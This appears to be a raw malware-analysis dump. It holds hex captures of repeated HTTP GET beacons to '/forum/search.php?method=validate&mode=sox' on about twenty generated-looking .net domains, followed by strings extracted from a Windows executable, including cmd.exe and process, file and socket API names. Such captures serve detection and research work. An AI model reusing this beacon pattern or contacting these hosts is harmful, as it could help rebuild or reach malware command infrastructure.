0x00000080 (00128)   0d0a0a0a 0d0a0d0a 20a58501            ........ ...

0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f6d65 74686f64 3d76616c   h.php?method=val
0x00000020 (00032)   69646174 65266d6f 64653d73 6f782676   idate&mode=sox&v
0x00000030 (00048)   3d303237 26736f78 3d336338 66356330   =027&sox=3c8f5c0
0x00000040 (00064)   31204854 54502f31 2e300d0a 41636365   1 HTTP/1.0..Acce
0x00000050 (00080)   70743a20 2a2f2a0d 0a436f6e 6e656374   pt: */*..Connect
0x00000060 (00096)   696f6e3a 20636c6f 73650d0a 486f7374   ion: close..Host
0x00000070 (00112)   3a206472 65616d67 75696465 2e6e6574   : dreamguide.net
0x00000080 (00128)   0d0a0d0a 0d0a0d0a 20a58501            ........ ...

0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f6d65 74686f64 3d76616c   h.php?method=val
0x00000020 (00032)   69646174 65266d6f 64653d73 6f782676   idate&mode=sox&v
0x00000030 (00048)   3d303237 26736f78 3d336338 66356330   =027&sox=3c8f5c0
0x00000040 (00064)   31204854 54502f31 2e300d0a 41636365   1 HTTP/1.0..Acce
0x00000050 (00080)   70743a20 2a2f2a0d 0a436f6e 6e656374   pt: */*..Connect
0x00000060 (00096)   696f6e3a 20636c6f 73650d0a 486f7374   ion: close..Host
0x00000070 (00112)   3a207374 69636b6d 61726368 2e6e6574   : stickmarch.net
0x00000080 (00128)   0d0a0d0a 0d0a0d0a 20a58501            ........ ...

0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f6d65 74686f64 3d76616c   h.php?method=val
0x00000020 (00032)   69646174 65266d6f 64653d73 6f782676   idate&mode=sox&v
0x00000030 (00048)   3d303237 26736f78 3d336338 66356330   =027&sox=3c8f5c0
0x00000040 (00064)   31204854 54502f31 2e300d0a 41636365   1 HTTP/1.0..Acce
0x00000050 (00080)   70743a20 2a2f2a0d 0a436f6e 6e656374   pt: */*..Connect
0x00000060 (00096)   696f6e3a 20636c6f 73650d0a 486f7374   ion: close..Host
0x00000070 (00112)   3a207461 626c6566 72756974 2e6e6574   : tablefruit.net
0x00000080 (00128)   0d0a0d0a 0d0a0d0a 20a58501            ........ ...

0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f6d65 74686f64 3d76616c   h.php?method=val
0x00000020 (00032)   69646174 65266d6f 64653d73 6f782676   idate&mode=sox&v
0x00000030 (00048)   3d303237 26736f78 3d336338 66356330   =027&sox=3c8f5c0
0x00000040 (00064)   31204854 54502f31 2e300d0a 41636365   1 HTTP/1.0..Acce
0x00000050 (00080)   70743a20 2a2f2a0d 0a436f6e 6e656374   pt: */*..Connect
0x00000060 (00096)   696f6e3a 20636c6f 73650d0a 486f7374   ion: close..Host
0x00000070 (00112)   3a206d69 67687467 6c6f7373 6172792e   : mightglossary.
0x00000080 (00128)   6e65740d 0a0d0a0a 20a58501            net..... ...

0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f6d65 74686f64 3d76616c   h.php?method=val
0x00000020 (00032)   69646174 65266d6f 64653d73 6f782676   idate&mode=sox&v
0x00000030 (00048)   3d303237 26736f78 3d336338 66356330   =027&sox=3c8f5c0
0x00000040 (00064)   31204854 54502f31 2e300d0a 41636365   1 HTTP/1.0..Acce
0x00000050 (00080)   70743a20 2a2f2a0d 0a436f6e 6e656374   pt: */*..Connect
0x00000060 (00096)   696f6e3a 20636c6f 73650d0a 486f7374   ion: close..Host
0x00000070 (00112)   3a207265 71756972 656e6569 74686572   : requireneither
0x00000080 (00128)   2e6e6574 0d0a0d0a 20a58501            .net.... ...

0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f6d65 74686f64 3d76616c   h.php?method=val
0x00000020 (00032)   69646174 65266d6f 64653d73 6f782676   idate&mode=sox&v
0x00000030 (00048)   3d303237 26736f78 3d336338 66356330   =027&sox=3c8f5c0
0x00000040 (00064)   31204854 54502f31 2e300d0a 41636365   1 HTTP/1.0..Acce
0x00000050 (00080)   70743a20 2a2f2a0d 0a436f6e 6e656374   pt: */*..Connect
0x00000060 (00096)   696f6e3a 20636c6f 73650d0a 486f7374   ion: close..Host
0x00000070 (00112)   3a206765 6e746c65 66726965 6e642e6e   : gentlefriend.n
0x00000080 (00128)   65740d0a 0d0a0d0a 20a58501            et...... ...

0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f6d65 74686f64 3d76616c   h.php?method=val
0x00000020 (00032)   69646174 65266d6f 64653d73 6f782676   idate&mode=sox&v
0x00000030 (00048)   3d303237 26736f78 3d336338 66356330   =027&sox=3c8f5c0
0x00000040 (00064)   31204854 54502f31 2e300d0a 41636365   1 HTTP/1.0..Acce
0x00000050 (00080)   70743a20 2a2f2a0d 0a436f6e 6e656374   pt: */*..Connect
0x00000060 (00096)   696f6e3a 20636c6f 73650d0a 486f7374   ion: close..Host
0x00000070 (00112)   3a20676c 61737368 65616c74 682e6e65   : glasshealth.ne
0x00000080 (00128)   740d0a0d 0a0a0d0a 20a58501            t....... ...

0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f6d65 74686f64 3d76616c   h.php?method=val
0x00000020 (00032)   69646174 65266d6f 64653d73 6f782676   idate&mode=sox&v
0x00000030 (00048)   3d303237 26736f78 3d336338 66356330   =027&sox=3c8f5c0
0x00000040 (00064)   31204854 54502f31 2e300d0a 41636365   1 HTTP/1.0..Acce
0x00000050 (00080)   70743a20 2a2f2a0d 0a436f6e 6e656374   pt: */*..Connect
0x00000060 (00096)   696f6e3a 20636c6f 73650d0a 486f7374   ion: close..Host
0x00000070 (00112)   3a207265 6d656d62 65727061 696e742e   : rememberpaint.
0x00000080 (00128)   6e65740d 0a0d0a0a 20a58501            net..... ...

0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f6d65 74686f64 3d76616c   h.php?method=val
0x00000020 (00032)   69646174 65266d6f 64653d73 6f782676   idate&mode=sox&v
0x00000030 (00048)   3d303237 26736f78 3d336338 66356330   =027&sox=3c8f5c0
0x00000040 (00064)   31204854 54502f31 2e300d0a 41636365   1 HTTP/1.0..Acce
0x00000050 (00080)   70743a20 2a2f2a0d 0a436f6e 6e656374   pt: */*..Connect
0x00000060 (00096)   696f6e3a 20636c6f 73650d0a 486f7374   ion: close..Host
0x00000070 (00112)   3a207468 726f7567 68636f75 6e747279   : throughcountry
0x00000080 (00128)   2e6e6574 0d0a0d0a 20a58501            .net.... ...

0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f6d65 74686f64 3d76616c   h.php?method=val
0x00000020 (00032)   69646174 65266d6f 64653d73 6f782676   idate&mode=sox&v
0x00000030 (00048)   3d303237 26736f78 3d336338 66356330   =027&sox=3c8f5c0
0x00000040 (00064)   31204854 54502f31 2e300d0a 41636365   1 HTTP/1.0..Acce
0x00000050 (00080)   70743a20 2a2f2a0d 0a436f6e 6e656374   pt: */*..Connect
0x00000060 (00096)   696f6e3a 20636c6f 73650d0a 486f7374   ion: close..Host
0x00000070 (00112)   3a206661 69726869 67682e6e 65740d0a   : fairhigh.net..
0x00000080 (00128)   0d0a6574 0d0a0d0a 20a58501            ..et.... ...

0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f6d65 74686f64 3d76616c   h.php?method=val
0x00000020 (00032)   69646174 65266d6f 64653d73 6f782676   idate&mode=sox&v
0x00000030 (00048)   3d303237 26736f78 3d336338 66356330   =027&sox=3c8f5c0
0x00000040 (00064)   31204854 54502f31 2e300d0a 41636365   1 HTTP/1.0..Acce
0x00000050 (00080)   70743a20 2a2f2a0d 0a436f6e 6e656374   pt: */*..Connect
0x00000060 (00096)   696f6e3a 20636c6f 73650d0a 486f7374   ion: close..Host
0x00000070 (00112)   3a206661 6972636f 6c6f722e 6e65740d   : faircolor.net.
0x00000080 (00128)   0a0d0a74 0d0a0d0a 20a58501            ...t.... ...

0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f6d65 74686f64 3d76616c   h.php?method=val
0x00000020 (00032)   69646174 65266d6f 64653d73 6f782676   idate&mode=sox&v
0x00000030 (00048)   3d303237 26736f78 3d336338 66356330   =027&sox=3c8f5c0
0x00000040 (00064)   31204854 54502f31 2e300d0a 41636365   1 HTTP/1.0..Acce
0x00000050 (00080)   70743a20 2a2f2a0d 0a436f6e 6e656374   pt: */*..Connect
0x00000060 (00096)   696f6e3a 20636c6f 73650d0a 486f7374   ion: close..Host
0x00000070 (00112)   3a206661 69726f6e 6c792e6e 65740d0a   : faironly.net..
0x00000080 (00128)   0d0a0a74 0d0a0d0a 20a58501            ...t.... ...

0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f6d65 74686f64 3d76616c   h.php?method=val
0x00000020 (00032)   69646174 65266d6f 64653d73 6f782676   idate&mode=sox&v
0x00000030 (00048)   3d303237 26736f78 3d336338 66356330   =027&sox=3c8f5c0
0x00000040 (00064)   31204854 54502f31 2e300d0a 41636365   1 HTTP/1.0..Acce
0x00000050 (00080)   70743a20 2a2f2a0d 0a436f6e 6e656374   pt: */*..Connect
0x00000060 (00096)   696f6e3a 20636c6f 73650d0a 486f7374   ion: close..Host
0x00000070 (00112)   3a206472 65616d66 65656c2e 6e65740d   : dreamfeel.net.
0x00000080 (00128)   0a0d0a74 0d0a0d0a 20a58501            ...t.... ...

0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f6d65 74686f64 3d76616c   h.php?method=val
0x00000020 (00032)   69646174 65266d6f 64653d73 6f782676   idate&mode=sox&v
0x00000030 (00048)   3d303237 26736f78 3d336338 66356330   =027&sox=3c8f5c0
0x00000040 (00064)   31204854 54502f31 2e300d0a 41636365   1 HTTP/1.0..Acce
0x00000050 (00080)   70743a20 2a2f2a0d 0a436f6e 6e656374   pt: */*..Connect
0x00000060 (00096)   696f6e3a 20636c6f 73650d0a 486f7374   ion: close..Host
0x00000070 (00112)   3a206472 65616d68 6967682e 6e65740d   : dreamhigh.net.
0x00000080 (00128)   0a0d0a74 0d0a0d0a 20a58501            ...t.... ...

0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f6d65 74686f64 3d76616c   h.php?method=val
0x00000020 (00032)   69646174 65266d6f 64653d73 6f782676   idate&mode=sox&v
0x00000030 (00048)   3d303237 26736f78 3d336338 66356330   =027&sox=3c8f5c0
0x00000040 (00064)   31204854 54502f31 2e300d0a 41636365   1 HTTP/1.0..Acce
0x00000050 (00080)   70743a20 2a2f2a0d 0a436f6e 6e656374   pt: */*..Connect
0x00000060 (00096)   696f6e3a 20636c6f 73650d0a 486f7374   ion: close..Host
0x00000070 (00112)   3a206472 65616d63 6f6c6f72 2e6e6574   : dreamcolor.net
0x00000080 (00128)   0d0a0d0a 0d0a0d0a 20a58501            ........ ...

0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f6d65 74686f64 3d76616c   h.php?method=val
0x00000020 (00032)   69646174 65266d6f 64653d73 6f782676   idate&mode=sox&v
0x00000030 (00048)   3d303237 26736f78 3d336338 66356330   =027&sox=3c8f5c0
0x00000040 (00064)   31204854 54502f31 2e300d0a 41636365   1 HTTP/1.0..Acce
0x00000050 (00080)   70743a20 2a2f2a0d 0a436f6e 6e656374   pt: */*..Connect
0x00000060 (00096)   696f6e3a 20636c6f 73650d0a 486f7374   ion: close..Host
0x00000070 (00112)   3a207468 6973636f 6c6f722e 6e65740d   : thiscolor.net.
0x00000080 (00128)   0a0d0a0a 0d0a0d0a 20a58501            ........ ...

0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f6d65 74686f64 3d76616c   h.php?method=val
0x00000020 (00032)   69646174 65266d6f 64653d73 6f782676   idate&mode=sox&v
0x00000030 (00048)   3d303237 26736f78 3d336338 66356330   =027&sox=3c8f5c0
0x00000040 (00064)   31204854 54502f31 2e300d0a 41636365   1 HTTP/1.0..Acce
0x00000050 (00080)   70743a20 2a2f2a0d 0a436f6e 6e656374   pt: */*..Connect
0x00000060 (00096)   696f6e3a 20636c6f 73650d0a 486f7374   ion: close..Host
0x00000070 (00112)   3a207370 6f746775 6964652e 6e65740d   : spotguide.net.
0x00000080 (00128)   0a0d0a0a 0d0a0d0a 20a58501            ........ ...

0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f6d65 74686f64 3d76616c   h.php?method=val
0x00000020 (00032)   69646174 65266d6f 64653d73 6f782676   idate&mode=sox&v
0x00000030 (00048)   3d303237 26736f78 3d336338 66356330   =027&sox=3c8f5c0
0x00000040 (00064)   31204854 54502f31 2e300d0a 41636365   1 HTTP/1.0..Acce
0x00000050 (00080)   70743a20 2a2f2a0d 0a436f6e 6e656374   pt: */*..Connect
0x00000060 (00096)   696f6e3a 20636c6f 73650d0a 486f7374   ion: close..Host
0x00000070 (00112)   3a206772 6f757067 75696465 2e6e6574   : groupguide.net
0x00000080 (00128)   0d0a0d0a 0d0a0d0a 20a58501            ........ ...

0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f6d65 74686f64 3d76616c   h.php?method=val
0x00000020 (00032)   69646174 65266d6f 64653d73 6f782676   idate&mode=sox&v
0x00000030 (00048)   3d303237 26736f78 3d336338 66356330   =027&sox=3c8f5c0
0x00000040 (00064)   31204854 54502f31 2e300d0a 41636365   1 HTTP/1.0..Acce
0x00000050 (00080)   70743a20 2a2f2a0d 0a436f6e 6e656374   pt: */*..Connect
0x00000060 (00096)   696f6e3a 20636c6f 73650d0a 486f7374   ion: close..Host
0x00000070 (00112)   3a207761 74636867 75696465 2e6e6574   : watchguide.net
0x00000080 (00128)   0d0a0d0a 0d0a0d0a 20a58501            ........ ...

0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f6d65 74686f64 3d76616c   h.php?method=val
0x00000020 (00032)   69646174 65266d6f 64653d73 6f782676   idate&mode=sox&v
0x00000030 (00048)   3d303237 26736f78 3d336338 66356330   =027&sox=3c8f5c0
0x00000040 (00064)   31204854 54502f31 2e300d0a 41636365   1 HTTP/1.0..Acce
0x00000050 (00080)   70743a20 2a2f2a0d 0a436f6e 6e656374   pt: */*..Connect
0x00000060 (00096)   696f6e3a 20636c6f 73650d0a 486f7374   ion: close..Host
0x00000070 (00112)   3a206661 69726775 6964652e 6e65740d   : fairguide.net.
0x00000080 (00128)   0a0d0a0a 0d0a0d0a 20a58501            ........ ...

0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f6d65 74686f64 3d76616c   h.php?method=val
0x00000020 (00032)   69646174 65266d6f 64653d73 6f782676   idate&mode=sox&v
0x00000030 (00048)   3d303237 26736f78 3d336338 66356330   =027&sox=3c8f5c0
0x00000040 (00064)   31204854 54502f31 2e300d0a 41636365   1 HTTP/1.0..Acce
0x00000050 (00080)   70743a20 2a2f2a0d 0a436f6e 6e656374   pt: */*..Connect
0x00000060 (00096)   696f6e3a 20636c6f 73650d0a 486f7374   ion: close..Host
0x00000070 (00112)   3a207468 69736e61 6d652e6e 65740d0a   : thisname.net..
0x00000080 (00128)   0d0a0a0a 0d0a0d0a 20a58501            ........ ...

0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f6d65 74686f64 3d76616c   h.php?method=val
0x00000020 (00032)   69646174 65266d6f 64653d73 6f782676   idate&mode=sox&v
0x00000030 (00048)   3d303237 26736f78 3d336338 66356330   =027&sox=3c8f5c0
0x00000040 (00064)   31204854 54502f31 2e300d0a 41636365   1 HTTP/1.0..Acce
0x00000050 (00080)   70743a20 2a2f2a0d 0a436f6e 6e656374   pt: */*..Connect
0x00000060 (00096)   696f6e3a 20636c6f 73650d0a 486f7374   ion: close..Host
0x00000070 (00112)   3a206472 65616d67 75696465 2e6e6574   : dreamguide.net
0x00000080 (00128)   0d0a0d0a 0d0a0d0a 20a58501            ........ ...


Strings
a
" 
 ' 
%+#I64
.,
 
.
\
/
:
:
e
+
 
%+#.*
%+#.*L
-_
......
+%D%A%26A&
..
h121212
s
"1"
2d1x
\
/
 0
''
\
.
.
.
.
..
...
...
...
....
...
...
 ! 
" # .
$
.
&
'
('
)
*)
+
,-.)/)
S
[
Z
[Z
[
 
d2
h2
1
1
x
cor2vWSCSddTjonnaOnpinHaaabirKhCdSrC3ravsgnArF.
 
- 
CC-E-
-0
-0010+-0
0
-0
00-+ 
.
-e-
. 
.00-+ 
\
00
:\
:..
  .
...........?- 
0
0
0
0
-
A
.
G
.
)
P<
..U.
~
L
.
..
.
.u
                                 H
         (((((                  H
         h((((                  H
jjjh
jjjj
Jjjj
KERNEL32.DLL
Mjjj
mscoree.dll
(null)
                          
\$`;\$
\$ _^[
\$@_^[
																		
 !"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\]^_`abcdefghijklmnopqrstuvwxyz{|}~
 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~
 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~
0A@@Ju
0b[if@V
	`-0CT
@{0Dw\t
'0gFiE
0G.&Lin!d#**
0SSSSS
^0uO/B
0WWWWW
1dAx'lY
1pO'Z8
1#QNAN
1#SNAN
1~ZdL;
==+2Il
2)Img[
2$;ta{
\$(]_^3
>3{aFO(#
3t$tWh
,3V{hC
4~8LsY
=4Eh8ig(
!4Lu^X
;@/5bZ
-5 %c=
6\82dI
`6M>q]
$6nW"^is
6O+?#Asp
7i	jk'
~7SSSh
?}7Vw)
	+7x9Y9
7z	2Cc
8)AJUwt
8QV~jf6D
<8S)-6lH]Y
8VVVVV
8Ze7R`
\$$9_0
%9_0Cf
9\$4uD9\$@t>
\$,9\$d
9\$Dvq
9e:ON_
9|$H|y
9j!h8iK
^@9n8r
^\9nTr
!9o=pyO
9qZ`JE@F
9\$,ts
|$@9\$Ts
9\$ uf
9\$(uF
\$ 9X<
}9xJ(uP%
\$(9|$Xr
a2IUEOr
aaUB1>
Ab?<bo
abcdefghijklmnopqrstuvwxyz
ABCDEFGHIJKLMNOPQRSTUVWXYZ
A;b$t*n
"~%|\A@d
Adeque<T> too long
america
american
american english
american-english
An application has made an attempt to load the C runtime library incorrectly.
as6_Bg/X`s
<at9<rt,<wt
- Attempt to initialize the CRT more than once.
- Attempt to use MSIL code from this assembly during native code initialization
.?AUctype_base@std@@
August
australian
.?AVbad_alloc@std@@
.?AVbad_cast@std@@
.?AVbad_exception@std@@
.?AV?$basic_ios@DU?$char_traits@D@std@@@std@@
.?AV?$basic_ostream@DU?$char_traits@D@std@@@std@@
.?AV?$basic_ostringstream@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@
.?AV?$basic_streambuf@DU?$char_traits@D@std@@@std@@
.?AV?$basic_stringbuf@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@
.?AV?$ctype@D@std@@
.?AVexception@std@@
.?AVfacet@locale@std@@
.?AVfailure@ios_base@std@@
.?AVios_base@std@@
.?AV?$_Iosb@H@std@@
.?AVlength_error@std@@
.?AV_Locimp@locale@std@@
.?AVlogic_error@std@@
.?AV?$numpunct@D@std@@
.?AV?$num_put@DV?$ostreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@
.?AVout_of_range@std@@
.?AVruntime_error@std@@
.?AVtype_info@@
AWS2_32.dll
|AZ6TJL>
A^Zn@Co
b4Ncbu
B71r!P
-b"9	f
bad allocation
bad cast
bad exception
 Base Class Array'
 Base Class Descriptor at (
__based(
b%)=%@c
b&DJuD"%
BeginPaint
B!ei{|
belgian
b]hLTU
B;M%Dd
Bnbh~S
BPKC!(w]
britain
BXNj&(Tpz
C~3pQ1
c8#T4Z
CallWindowProcA
canadian
__cdecl
CheckDlgButton
chinese
chinese-hongkong
chinese-simplified
chinese-singapore
chinese-traditional
'CI,(^rO
ckOJ\y
 Class Hierarchy Descriptor'
CloseHandle
__clrcall
cmd.exe
+C#(n*B
CompareStringA
CompareStringW
 Complete Object Locator'
COMSPEC
CONOUT$
`copy constructor closure'
Copyright (c) 1992-2004 by P.J. Plauger, licensed by Dinkumware, Ltd. ALL RIGHTS RESERVED.
CorExitProcess
C!p+c;E
C PjPV
C$PjQV
C.PjRV
C/PjSV
C*PjTV
C+PjUV
C,PjVV
C-PjWV
CreateFileA
CreateProcessA
CreateThread
- CRT not initialized
$>C$Sj
CWuEKsN
cXP4cHB
d$(_^][
D$$^][
D$0[_^]
D$0_^3
D$0~Up
D$ 1mG
D$49\$,
D6AHp-
D$8h\mK
D$8SSSh
D$8SUVW
D$8SVP
D$8SVW
^D8@W7
D$(9\$,t+
D$@9\$Ts
@.data
D$ ;B<
dCeuMm
D$@:D$
dddd, MMMM dd, yyyy
D$DSSj
D$dSUVW
D$$;D$,tL
D$$;D$,tL)\$,
December
DecodePointer
`default constructor closure'
 delete
 delete[]
Delete
DeleteCriticalSection
DeleteFileA
D$$;G<
D$H9\$h
D$,Hp$
D$HPQR
D$HSUVW
D$hSVW
D$ hT9L
dJ`.5	5
D$(j	VP
D$L9L$Xt"
D$lQUSRP
D$LSUVW
D$LSVW
DOMAIN error
D$p_^][3
D$p^HPA
D$$PjKj
D$@PQj
D$$PQV
D$pSUVW
D$@PWQ
d"qDqjb
(%Dq)i
D$ QRP
D$,QRP
DrawTextA
D$<RWP
D$,RWP
D$ SPW
D$`SUVW
D$<SUVW
D$(SUVW
D$<SVW
D$TPQW
D$TPQWVV
D$TPRQ
D$TPVWS
d]Ue?&
dutch-belgian
d$ UVW
D$ VSUP
dV)VG@
D$ Wj)
D$XhlRK
D$xPRUVh
D$xPWV
D$xSUVW
D$xWPQR
D$XWPS
`dynamic atexit destructor for '
`dynamic initializer for '
E0Ge\Ee
E=B{5$u7
`eh vector constructor iterator'
`eh vector copy constructor iterator'
`eh vector destructor iterator'
`eh vector vbase constructor iterator'
`eh vector vbase copy constructor iterator'
E-?n0]
EncodePointer
EndDialog
EndPaint
england
english-american
english-aus
english-belize
english-can
english-caribbean
english-ire
english-jamaica
english-nz
english-south africa
english-trinidad y tobago
english-uk
english-us
english-usa
EnterCriticalSection
EnumSystemLocalesA
-[Eo/s3'[
EpSVWP
ES('as
ExitProcess
F09n(u
f{`1][
F;5XmK
f6hmN@O
]	"%f8
F8>6?H{$
\$\f9n
__fastcall
February
Fh=0(M
FileTimeToLocalFileTime
FileTimeToSystemTime
FindClose
FindFirstFileA
FindResourceA
- floating point support not loaded
FlsAlloc
FlsFree
FlsGetValue
FlsSetValue
FlushFileBuffers
ForceRemove
FreeEnvironmentStringsA
FreeEnvironmentStringsW
FreeLibrary
french-belgian
french-canadian
french-luxembourg
french-swiss
Friday
~<F)Tz./
^F<-uB
=!}F]YT[
!%\g (
g1#7^[L
GAIsProcessorFeaturePresent
GA*m0_D
GDI32.dll
german-austrian
german-lichtenstein
german-luxembourg
german-swiss
GetACP
GetActiveWindow
GetBkColor
GetClipRgn
GetCommandLineA
GetConsoleCP
GetConsoleMode
GetConsoleOutputCP
GetCPInfo
GetCurrentDirectoryA
GetCurrentProcess
GetCurrentProcessId
GetCurrentThreadId
GetCursor
GetDCBrushColor
GetDCPenColor
GetDialogBaseUnits
GetDlgItem
GetDlgItemInt
GetDriveTypeA
GetEnvironmentStrings
GetEnvironmentStringsW
GetExitCodeProcess
GetFileAttributesA
GetFileTime
GetFileType
GetFontLanguageInfo
GetFontUnicodeRanges
GetFullPathNameA
GetGraphicsMode
GetInputState
GetLastActivePopup
GetLastError
GetLocaleInfoA
GetLocaleInfoW
GetMenu
GetMenuCheckMarkDimensions
GetMenuContextHelpId
GetMenuItemCount
GetMenuState
GetMetaRgn
GetModuleFileNameA
GetModuleHandleA
GetModuleHandleW
GetNearestColor
GetNearestPaletteIndex
GetOEMCP
GetPixelFormat
GetProcAddress
GetProcessHeap
GetProcessWindowStation
GetPropA
GetQueueStatus
GetRandomRgn
GetScrollPos
GetStartupInfoA
GetStdHandle
GetStringTypeA
GetStringTypeW
GetSystemTimeAsFileTime
GetTickCount
GetTimeZoneInformation
GetUserDefaultLCID
GetUserObjectInformationA
GetVersion
GetWindowContextHelpId
GetWindowDC
GetWindowLongA
GlobalAlloc
GlobalFlags
GlobalHandle
GlobalSize
!GqR0X
great britain
_GUP:,
?gYeJoz
`h````
\$|h,9M
h}C@ly
HeapAlloc
HeapCreate
HeapFree
HeapReAlloc
HeapSize
\$hFVR
`h`hhh
HH:mm:ss
HHtXHHt
HHtYHHt
H$hZp 
\$ h@>L
h}\l'Z
holland
hong-kong
/h_rwg
hXN)4,b
(i0VpBp<
}idbE?
=If${}
>If90t
ImcpO\.
InitializeCriticalSection
InitializeCriticalSectionAndSpinCount
InterlockedDecrement
InterlockedExchange
InterlockedIncrement
invalid map/set<T> iterator
invalid string position
ios_base::badbit set
ios_base::eofbit set
ios_base::failbit set
$ioWj3
irish-english
IsDebuggerPresent
IsProcessorFeaturePresent
IsValidCodePage
IsValidLocale
IsWindowUnicode
italian-swiss
I+x0jV!
j1h <L
j2{cbDx
..j4@m"
j7	%&vbra
j8h(AL
JanFebMarAprMayJunJulAugSepOctNovDec
January
|$,jCW
\$(j	h
j/h4lK
j	h@@L
j	hl|K
j	h\ M
jj/3 @
j~J8kx
j@j ^V
J{k7!<"K	
JRr<%)
j"^SSSSS
jTh86K
jwh ?L
j#WT/q
Jys	%9u
k{;#!4
)K;6-O
\kC*^|
KERNEL32
KERNEL32.dll
knmsA]N
kNtOJf
Kpf3%8'
KRR^?lp
K(Y=}<
;KZ1\%
L$0QRf
L$0QVWj
L$0UPj
L?|1%C
_}l']2
L$(_^3
L$\_^[3
L$8_^][3
L$8Qh0
\$l9|$dr
L9t$Tr
LC_ALL
LC_COLLATE
LC_CTYPE
LCMapStringA
LCMapStringW
LC_MONETARY
LC_NUMERIC
LC_TIME
L$d_^][3
ld(962D
L$Dj@Q
L$DPQ3
L$dQWRP
L$DURPVQ
LeaveCriticalSection
L$`h0u
^Lh1`T
;.LhJ%V
L~I:"tOd
L$<j2f
L$ j@Q
L$l_^[3
L"}l~Cd
L$LQj$
Lm	fZ3
LoadIconA
LoadLibraryA
LocalAlloc
LocalFlags
`local static guard'
`local static thread guard'
`local vftable'
`local vftable constructor closure'
LockResource
\$\=lp
L$pQPh
L$pRSPQVW
L$ Qh?
L$|QPUV
L$$QRUV
L$(QRV
L$ QUV
L$<QVj
'>-LRR
L$ ShM
L$(SU;
L$t_^[3
L$tQhT
L$tQRPh
L$TQVW
L$\<+t'<-t#<0u
L$ <-u
L$$USWVP
{lV#=6
L$ VSj
l$ VW3
L$ WQP
L$xQPSh
L$xQSW
L$xRSPQWV
) lz</U
m2ES+V&
`managed vector constructor iterator'
`managed vector copy constructor iterator'
`managed vector destructor iterator'
map/set<T> too long
![MCs.
MessageBoxA
Microsoft Visual C++ Runtime Library
;MLTnT
-[M;~luG
MM/dd/yy
Monday
MoveFileA
MoveWindow
mP0od<{
MQn|a-
mR%c[q
>.$ms,H6
MultiByteToWideChar
.`m*V^
;@|mZ=
N9\$Ht
N	?E1%g
 new[]
new-zealand
N%g*hA
>NJm]KcI
NoRemove
norwegian
norwegian-bokmal
norwegian-nynorsk
Norwegian-Nynorsk
- not enough space for arguments
- not enough space for environment
- not enough space for locale information
- not enough space for lowio initialization
- not enough space for _onexit/atexit table
- not enough space for stdio initialization
- not enough space for thread data
November
n`rd=O
Nt@zl]
(null)
#o'6Ae
o^!6`Oxa
oa9xv7
oa{_xH
October
OLEAUT32.dll
@O/	?Lh5
`omni callsig'
operator
#+O;s^
p9\$4u#
\$P9|$Hr
__pascal
\$Pj"h\
#&PkNn
`placement delete closure'
`placement delete[] closure'
Please contact the application's support team for more information.
P'lYQC
&?PN j
portuguese-brazilian
PostMessageA
PPPPPPPP
|$ PQj
PQSUVW
pr china
pr-china
Program: 
<program name unknown>
PShHPK
PSSSSSSh 
__ptr64
puerto-rico
- pure virtual function call
|$PVSQW
/P{-x7R
p*YS{g
#QB`Yv
$}qFBc|Psp})8
<q'Fj%
;QFKt(
Q#*"iEa 
QI/J<q
qIUgI$E cd
;]qo_"
-qoY]h
QQSVWd
QueryPerformanceCounter
R7gDkI
R7&_~y
RaiseException
`.rdata
ReadFile
RemovePropA
__restrict
!R|FT/
R;GZzM
r%h5Z;m
RtlUnwind
runtime error 
Runtime Error!
RvM5Vl
RWhHPK
S5DaNJ
Saturday
SB3|8P
`scalar deleting destructor'
sdZSzF
September
SetDlgItemTextA
SetEndOfFile
SetEnvironmentVariableA
SetFilePointer
SetFocus
SetHandleCount
SetLastError
SetPixel
SetStdHandle
SetTextAlign
SetTextCharacterExtra
